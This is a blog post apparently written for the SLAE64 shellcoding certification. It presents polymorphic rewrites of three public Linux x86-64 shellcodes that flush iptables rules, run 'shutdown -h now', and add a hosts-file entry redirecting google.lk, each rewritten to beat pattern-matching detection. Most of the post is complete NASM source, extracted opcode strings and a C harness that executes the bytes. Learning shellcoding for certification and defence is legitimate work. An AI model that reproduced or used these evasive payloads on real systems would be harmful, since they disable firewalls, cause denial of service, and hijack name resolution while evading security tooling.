This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
Student ID: PA-6470
Assignment #6
The aim of this assignment is to take 3 shellcodes from shell-storm.org and to create a polymorphic version of them (to beat pattern-matching).
I’ve chosen to rewrite the following shellcodes :
- http://shell-storm.org/shellcode/files/shellcode-683.php
- http://shell-storm.org/shellcode/files/shellcode-877.php
- http://shell-storm.org/shellcode/files/shellcode-896.php
shellcode-683
Version 1
I’ve changed the original implementation by replacing the « stack » technique by the « jmp call pop » technique.
Original size : 49 bytes
Polymorphic version is smaller : 43 bytes
root@debian64:~/shellcodes/x64/pentesteracademy/Exam/Assignment#6# for i in $(objdump -d shellcode-683-polymorphic -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo \x48\x31\xc0\x50\x66\x68\x2d\x46\x48\x89\xe1\xeb\x0b\x5f\x50\x51\x57\x48\x89\xe6\xb0\x3b\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x69\x70\x74\x61\x62\x6c\x65\x73
; Author : SLAE64-PA-6470 (kahlon81) ; Date : 2018/02/21 ; ; Linux/x86-64 - execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL) - 43 bytes ; ; nasm -f elf64 shellcode-683-polymorphic.nasm -o shellcode-683-polymorphic.o ; ld shellcode-683-polymorphic.o -o shellcode-683-polymorphic ; ; Original shellcode : ; ; http://shell-storm.org/shellcode/files/shellcode-683.php ; ; Title: Linux/x86-64 - execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL) - 49 bytes ; Author: 10n1z3d <10n1z3d[at]w[dot]cn> ; Date: Fri 09 Jul 2010 03:26:12 PM EEST section .text global _start _start: xor rax, rax push rax push word 0x462d mov rcx, rsp jmp call_shellcode shellcode: pop rdi push rax push rcx push rdi mov rsi, rsp mov al, 0x3b syscall call_shellcode: call shellcode iptables: db '/sbin/iptables'
Version 2
Original size : 49 bytes
Polymorphic version is larger : 61 bytes but its size is < 150 % of the original size
I’ve replaced :
- xor by mov and sub
- push by mov and sub
; Author : SLAE64-PA-6470 (kahlon81) ; Date : 2018/02/21 ; ; nasm -f elf64 shellcode-683-polymorphic2.nasm -o shellcode-683-polymorphic2.o ; ld shellcode-683-polymorphic2.o -o shellcode-683-polymorphic2 ; ; Title: Linux/x86-64 - execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL) - 49 bytes ; Source Code (NASM): section .text global _start _start: ; xor rax, rax mov rbx, rax sub rax, rbx push rax push word 0x462d mov rcx, rsp mov rbx, 0x73656c626174ffff shr rbx, 0x10 ; push rbx mov qword [rsp - 8], rbx sub rsp, 8 mov rbx, 0x70692f6e6962732f push rbx mov rdi, rsp push rax push rcx push rdi mov rsi, rsp ; execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL); mov al, 0x3b syscall
shellcode-877
Version 1
I’ve also changed the original implementation by replacing the « stack » technique by the « jmp call pop » technique.
Original size : 65 bytes
Polymorphic version is smaller : 60 bytes
root@debian64:~/shellcodes/x64/pentesteracademy/Exam/Assignment#6# for i in $(objdump -d shellcode-877-polymorphic -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo \x48\x31\xc0\x48\x31\xd2\x50\x6a\x77\x66\x68\x6e\x6f\x48\x89\xe3\x50\x66\x68\x2d\x68\x48\x89\xe1\x50\xeb\x0e\x5f\x52\x53\x51\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05\xe8\xed\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x73\x68\x75\x74\x64\x6f\x77\x6e
; Author : SLAE64-PA-6470 (kahlon81) ; Date : 2018/02/21 ; ; Linux/x86-64 - shutdown -h now x86_64 Shellcode - 60 bytes ; ; nasm -f elf64 shellcode-877-polymorphic.nasm -o shellcode-877-polymorphic.o ; ld shellcode-877-polymorphic.o -o shellcode-877-polymorphic ; ; Original shellcode : ; ; http://shell-storm.org/shellcode/files/shellcode-877.php ; ; Title: shutdown -h now x86_64 Shellcode - 65 bytes ; Platform: linux/x86_64 ; Date: 2014-06-27 ; Author: Osanda Malith Jayathissa (@OsandaMalith) section .text global _start _start: xor rax, rax xor rdx, rdx push rax push byte 0x77 push word 0x6f6e ; now mov rbx, rsp push rax push word 0x682d ;-h mov rcx, rsp push rax jmp call_shellcode shellcode: pop rdi push rdx push rbx push rcx push rdi mov rsi, rsp add rax, 59 syscall call_shellcode: call shellcode shutdown: db '/sbin/shutdown'
/* * * Author : SLAE64-PA-6470 (kahlon81) * Date : 2018/02/21 * * Linux/x86-64 - shutdown -h now x86_64 Shellcode - 60 bytes * * for i in $(objdump -d shellcode-877-polymorphic.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo * * gcc -fno-stack-protector -z execstack shellcode-877-polymorphic.c -o shellcode-877-poly * */ #include <stdio.h> #include <string.h> unsigned char code[] = "\x48\x31\xc0\x48\x31\xd2\x50\x6a\x77\x66\x68\x6e\x6f\x48\x89\xe3\x50\x66\x68\x2d\x68\x48\x89\xe1\x50\xeb\x0e\x5f\x52\x53\x51\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05\xe8\xed\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x73\x68\x75\x74\x64\x6f\x77\x6e"; main() { printf("Shellcode Length: %d\n", (int)strlen(code)); int (*ret)() = (int(*)())code; ret(); }
Version 2
Original size : 65 bytes
Polymorphic version is larger : 87 bytes but its size is < 150 % of the original size
I’ve replaced :
- xor by mov and sub
- push with mov and sub
- add dummy instructions (unused register)
; Author : SLAE64-PA-6470 (kahlon81) ; Date : 2018/02/21 ; nasm -f elf64 shellcode-877-polymorphic2.nasm -o shellcode-877-polymorphic2.o ; ld shellcode-877-polymorphic2.o -o shellcode-877-polymorphic2 ; Title: shutdown -h now x86_64 Shellcode - 65 bytes ; Platform: linux/x86_64 ; Date: 2014-06-27 ; Original Author: Osanda Malith Jayathissa (@OsandaMalith) section .text global _start _start: ;xor rax, rax mov rbx, rax sub rax, rbx xor rdx, rdx ; dummy instruction xor r9, r9 add r9b, 0x33 ;push rax mov qword [rsp - 8], rax sub rsp, 8 push byte 0x77 push word 0x6f6e ; now mov rbx, rsp push rax push word 0x682d ;-h mov rcx, rsp ; dummy instruction sub r9b, 0x12 push rax mov r8, 0x2f2f2f6e6962732f ; /sbin/shutdown mov r10, 0x6e776f6474756873 push r10 push r8 mov rdi, rsp push rdx push rbx push rcx push rdi mov rsi, rsp add rax, 59 syscall
shellcode-896
Version 1
I’ve also changed the original implementation by replacing the « stack » technique by the « jmp call pop » technique.
Original size : 110 bytes
Polymorphic version is smaller : 101 bytes
root@debian64:~/shellcodes/x64/pentesteracademy/Exam/Assignment#6# for i in $(objdump -d shellcode-896-polymorphic -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo \x48\x31\xc0\x48\x83\xc0\x02\x48\x31\xff\x48\x31\xf6\x56\xeb\x46\x5f\x48\x31\xf6\x66\x81\xc6\x01\x04\x0f\x05\x48\x97\x48\x31\xc0\x48\x83\xc0\x01\xeb\x18\x5e\xb2\x13\x0f\x05\x48\x31\xc0\x48\x83\xc0\x03\x0f\x05\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05\xe8\xe3\xff\xff\xff\x31\x32\x37\x2e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c\x65\x2e\x6c\x6b\xe8\xb5\xff\xff\xff\x2f\x65\x74\x63\x2f\x68\x6f\x73\x74\x73
; Author : SLAE64-PA-6470 (kahlon81) ; Date : 2018/02/21 ; ; Linux/x86-64 - Add map in /etc/hosts file - 102 bytes ; ; nasm -f elf64 shellcode-896-polymorphic.nasm -o shellcode-896-polymorphic.o ; ld shellcode-896-polymorphic.o -o shellcode-896-polymorphic ; ; Title: Add map in /etc/hosts file - 110 bytes ; Date: 2014-10-29 ; Platform: linux/x86_64 ; Website: http://osandamalith.wordpress.com ; Author: Osanda Malith Jayathissa (@OsandaMalith) global _start section .text _start: ;open xor rax, rax add rax, 2 ; open syscall xor rdi, rdi xor rsi, rsi push rsi ; 0x00 jmp call_shellcode shellcode: pop rdi xor rsi, rsi add si, 0x401 syscall ;write xchg rax, rdi xor rax, rax add rax, 1 ; syscall for write jmp data write: pop rsi mov dl, 19 ; length in rdx syscall ;close xor rax, rax add rax, 3 syscall ;exit xor rax, rax mov al, 60 xor rdi, rdi syscall data: call write text db '127.1.1.1 google.lk' call_shellcode: call shellcode hosts: db '/etc/hosts'
Here is a screenshot of this running shellcode :
Version 2
Original size : 110 bytes
Polymorphic version is larger : 144 bytes but its size is < 150 % of the original size
I’ve replaced :
- mov rcx, 0x1f1f1f1f5364551f with MMX instructions
- push r10 with mov and sub
; Author : SLAE64-PA-6470 (kahlon81) ; Date : 2018/02/21 ; nasm -f elf64 shellcode-896-polymorphic2.nasm -o shellcode-896-polymorphic2.o ; ld shellcode-896-polymorphic2.o -o shellcode-896-polymorphic2 ; Title: Add map in /etc/hosts file - 110 bytes ; Date: 2014-10-29 ; Platform: linux/x86_64 ; Website: http://osandamalith.wordpress.com ; Original author: Osanda Malith Jayathissa (@OsandaMalith) global _start section .text _start: ;open xor rax, rax add rax, 2 ; open syscall xor rdi, rdi xor rsi, rsi push rsi ; 0x00 ;mov r8, 0x2f2f2f2f6374652f ; stsoh/ mov rcx, 0x1f1f1f1f5364551f movq mm0, rcx mov rcx, 0x1010101010101010 movq mm1, rcx paddusb mm0, mm1 movq r8, mm0 emms mov r10, 0x7374736f682f2f2f ; /cte/ ;push r10 mov qword [rsp - 8], r10 sub rsp, 8 push r8 add rdi, rsp xor rsi, rsi add si, 0x401 syscall ;write xchg rax, rdi xor rax, rax add rax, 1 ; syscall for write jmp data write: pop rsi mov dl, 19 ; length in rdx syscall ;close xor rax, rax add rax, 3 syscall ;exit xor rax, rax mov al, 60 xor rdi, rdi syscall data: call write text db '127.1.1.1 google.lk'